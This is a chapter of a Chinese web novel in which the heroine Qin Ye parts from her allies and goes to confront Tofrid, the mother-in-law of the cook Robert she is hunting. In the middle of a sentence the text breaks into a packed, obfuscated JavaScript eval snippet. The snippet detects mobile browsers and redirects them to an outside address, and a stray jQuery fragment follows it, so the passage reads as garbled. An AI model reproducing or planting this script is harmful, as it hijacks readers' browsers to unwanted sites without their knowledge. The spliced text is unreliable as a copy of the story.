目送维戈离开的背影的秦冶,其实心里并不如面上那样镇定自若。她自己知道她的后背已经湿透了,亚麻内衣贴在脊椎上,凉飕飕的,像一条冰凉的蛇从后颈滑到腰窝。
她感觉现在的自己状态多少有些分裂,就像是之前手脚突然自动战斗似的,了解自己的身体机能远超现实情况,但是认知却没有完全跟上,理论上相信维戈会被自己的压迫感震慑到,但是真迈出那几步了,心里又是七上八下只能强作镇定。
好在维戈最终是被自己吓退了,秦冶悄悄舒出一口气,刚要扭头看看芙恩,眼角余光却扫到了不远处站着的兰蒂芙姐妹俩。
她们离秦冶大约三十步远,她俩什么时候来的?还是说已经来了有一会儿?
与秦冶视线交汇后兰蒂芙干脆带着妹妹迈开大步走了过来,兰蒂芙走在前面,深蓝色的斗篷在风中微微鼓动,像一面会呼吸的帆。索拉跟在她身后半步,矮了一个头,红发在阳光下像一团燃烧的灌木。
“你俩刚才聊了什么?”兰蒂芙风风火火走过来开口就问,“互相下战书了吗?”
秦冶忍不住笑了:“那很难避免。”
兰蒂芙闻言叹口气,又望向维戈一伙人离开的方向忧心忡忡道:“要是光明正大地决斗倒也没什么,只是我这叔叔小动作向来很多,你往后可得更加小心了。”
秦冶挑挑眉正要说什么,芙恩突然松了劲儿扑通一声膝盖先着地,然后是手掌,整个人歪歪斜斜地软了腿跌坐在地上,裙子在地上摊开像朵被踩扁的花。
“你怎么吓成这样?”秦冶边弯下腰拽她边无奈道,“往后那孙子有事也得先冲我来,我倒了才轮到你。”
“我是不是……我是不是害了您?”芙恩抬起泪涟涟的脸问秦冶,“我会不会害的……害的两个氏族无法联盟……?”
秦冶噗一声没憋住,哈哈笑出声:“我无意冒犯,但是你一个奴隶,未免也太把自己当回事了,你没有那个能量。”
于是芙恩低下头擦了擦鼻涕,秦冶抬头一瞧,兰蒂芙也是一副若有所思的样子。
“你们是打听到消息了吗?”秦冶想起了正事儿便问道,“不然不能这么巧,只是路过吧?”
“当然不是,”兰蒂芙摇摇头道,“名字叫法拉达的奴隶我们没能找到,但是考虑到事情已经过去了近十年,改头换面也是极有可能的事,不过按照十年前从南方来到此地,有法兰克血统的奴隶来看,我确实找到几个,其中有两个现在已经不是奴隶了。”
“其实有一点……早先我忘记说了,”说到这儿秦冶尴尬地摸了摸鼻子说,“我要找的这个奴隶,厨艺很好。”
兰蒂芙立刻瞪大眼:“这……那应该就只有一个人能符合你的描述。”
秦冶浮夸地挑起眉毛:“还有这种好事?叫什么?住哪里?我马上就去找他。”
“你去找他的时候,最好还是客气些,”兰蒂芙的表情和口吻都变得微妙起来,“此人名叫罗贝尔,名字听起来就不像诺斯人对吧,他现在是别人家的女婿,他丈母娘经常跟街坊邻里炫耀他做的一手好菜,说是在咱们这儿出了她家门就吃不到,有人怀疑过罗贝尔是被卖到这儿的奴隶,但他家里人听了可不会高兴,坚持说罗贝尔是当年跟着商队一起旅行至此,为了爱情留下来的,现在罗贝尔都有三个孩子了。”
闻言秦冶挠了挠下巴,陷入沉默。兰蒂芙凑近瞧了瞧她莞尔道:“你也不用那么愁眉苦脸,我既然答应了说要帮你,自然是帮人帮到底,如果你只把目标锁定在罗贝尔身上,咱们就一起去他们家看看情况,大不了你再退远些。”
秦冶咬着嘴唇抬头望了望远处,视线飘忽一阵又收回来落在兰蒂芙脸上。
“算了,接下来我自己去就行,你只告诉我位置在哪。”顿了顿秦冶又道,“或者带路带到就行。”
兰蒂芙歪头问:“怎么,你信不过我?”
“不,”秦冶摇摇头笑容有些勉强,“我只是不想看到你跟人家丈母娘家门口撕吧,你已经帮得够多了。”
索拉低声嘀咕了句:“还算有点良心。”
兰蒂芙低头瞪了妹妹一眼,又抬头看向秦冶眼里多了几分担忧:“你要是上门能直接见着罗贝尔还好,可要是见不着呢?哪怕他家人不清楚你跟他的恩恩怨怨,见你这副模样也不会让你轻易接触到罗贝尔的,到时候你要怎么处理?”
“我自有我的办法,”秦冶微微一笑说,“虽然难是难了点,但我也不至于在这里寸步难行,而且你都这么说了,应该也能想象到时候场面很可能不好看,你要是在现场恐怕情况更尴尬。”
这番话说得兰蒂芙哑口无言,这时芙恩终于停止发抖和啜泣,拽了拽秦冶的袖子小声说道:“我可以陪你去,我知道罗贝尔家在哪。”
“本来这也是个好主意,”秦冶抱起胳膊神情认真严肃,“但是经过了刚刚跟维戈的奇妙偶遇后,我还是觉得芙恩你应该跟兰蒂芙一起走。”
芙恩张了张嘴想说什么,但最终还是半个字都挤不出来,秦冶猜测她大概是想嘴硬“我不怕维戈”吧。
“既然你心意已决,那我就给你带个路吧。”兰蒂芙说着就迈开脚步,“离这里也不远。”
秦冶发现那么多npc里头就跟兰蒂芙说话最省心。
于是四人结伴前往罗贝尔的住处,兰蒂芙大致指了个方位后,四人间便陷入沉默,她们走的路越来越窄,从能并排走三四个人的土路变成只容两人并肩的小巷。巷子两旁的房子也矮了下去,屋顶的草皮更厚,有些已经长出了野花,黄色的小花瓣在风里颤巍巍地晃。墙根堆着劈好的柴禾和废弃的陶罐,罐子里长出绿油油的荨麻。空气中多了一股炖菜的味道——洋葱和肉汤的香气从门缝里钻出来,秦冶的肚子不争气地叫了一声,她希望兰蒂芙没有听见。远处传来小孩追逐打闹的尖叫声,和一只狗像是被踩到尾巴的哀嚎。
还是兰蒂芙先开口打破了沉寂:“说起来,之前维戈找你麻烦的时候我就在附近,我想着你们若是真的发生冲突再上前不迟,毕竟……”
“我懂,谁也不想沾上屎,”秦冶大方地摆摆手,又看了看似乎正在神游的索拉说,“更何况你还带着小妹妹,她多大?”
兰蒂芙扭头瞥了眼索拉道:“她十三。”
“我可不是小妹妹!”索拉好似如梦方醒般大声强调,“我来日子了!母亲说我可以当大人了!”
秦冶扯扯嘴角移开视线,无声地叹了口气。
“嘘,”兰蒂芙扭头竖起手指压在唇上警告妹妹,“我们到了。”
于是众人停下脚步,秦冶皱眉张望,兰蒂芙伸手一指说道:“看到那户人家没,门口挂着骨串和铜环的,那家女主人叫托芙雷德,很早就死了丈夫,家里还有你要的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528467|203625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
罗贝尔和她的女儿,以及三个孙儿,应该还有几个奴隶。”
“知道了。”秦冶点点头,“你们回去吧,接下来我自己搞定。”
“你确定你可以?”兰蒂芙又忍不住担忧问,秦冶故作轻松道:“不就是敲门问问嘛,如果真起了肢体冲突,那还就是我擅长的领域。”
“最好能避免肢体冲突。”这回兰蒂芙没有被秦冶逗笑,而是仍旧面带忧虑,“如果托芙蕾德态度强硬,或者她女儿态度强硬,你最好别硬来,想点别的办法。”
秦冶沉默片刻点点头:“行,我明白。”
“那就祝你行动顺利了。”兰蒂芙说着开始后退,秦冶微微颔首,兰蒂芙也不废话,牵起妹妹拉上芙恩就往回走。芙恩被兰蒂芙拽上后还频频回头,眼里又有惶恐又有不安,秦冶只好冲她笑了笑,还抬抬下巴示意她放心去。芙恩这才克制住不再回望。
巷子里四人脚步声渐行渐远,一只不知从哪窜出来的花猫,蹲在墙根下舔爪子,舔了两下,抬头看了秦冶一眼,又低下头继续舔。
秦冶收回视线投向罗贝尔住处那扇紧闭的房门,做了个深呼吸缓解紧张,她告诉自己,你又不是上门推销,你是上门寻仇来的。而且现在的你看起来可不像穿着廉价西装的销售那样好欺负,赶紧给我支楞起来!
于是秦冶干脆清空脑子里所有纠结犹豫的想法,强迫自己迈开大步朝房门走去。
院门是两块厚木板拼成的,没有门轴,只是用两根皮绳吊在两侧的木桩上,推的时候发出吱呀一声。院子不大,比兰蒂芙的后院小一半,地面夯得很实,但坑坑洼洼,靠墙堆着几把扫帚——是用桦树枝扎成的。两个奴隶站在院子中间,都穿着灰白色的粗麻布衣,膝盖和肘部打着深色的补丁。男的手里拿着一把铁锹,锹头插在一小堆马粪里。女的手里攥着一把扫帚,扫帚头抵在地上。秦冶从他们中间走过时,两个奴隶的眼睛像是黏在她身上似的,但她走过之后,两人谁也没动,也没出声,只是互相看了一眼,然后又各自低下头继续干活。
看吧,自信膨胀是空穴来风。
秦冶赶忙强迫自己集中精神在当下,加快脚步走到门口敲响了房门。
等了片刻秦冶加大力度敲门第二次,这回她才能在敲门后立刻听到门内走近的脚步声。
房门砰一声被打开,屋主人只探出一只脚时叫骂声就泼了出来:“急什么急!快饿死了来讨饭啊!一点礼……”
这是个五十来岁的妇人,身形粗壮,肩膀宽厚,围着一条沾满油渍的围裙,围裙的系带在腰后打了个死结。深棕色头发已经花白了大半,用一根木簪胡乱盘在脑后,几缕散落的发丝贴在额头上。看清秦冶的瞬间妇人的叫骂声就戛然而止,她瞪圆双眼忘了合嘴,飞快眨了眨眼才勉强回神,磕巴着问:“你……你是谁?来找谁?”
秦冶想了想还是决定把“我是谁”这个问题的答案跳过,直接发问:“你是托芙雷德?”
妇人肉眼可见地紧张地咽了口唾沫,也答非所问:“你找她做什么?”
“你到底是不是?”秦冶不耐烦地拔高嗓门又迅速压低,“你不是,我可要亲自进去找她了。”
“哎别……!”妇人赶忙伸出胳膊虚推了下秦冶胸口,理了下有些凌乱的鬓发挺起胸膛道,“我就是托芙蕾德,你找我什么事?我从来没见过你,你看着也不像本地人。”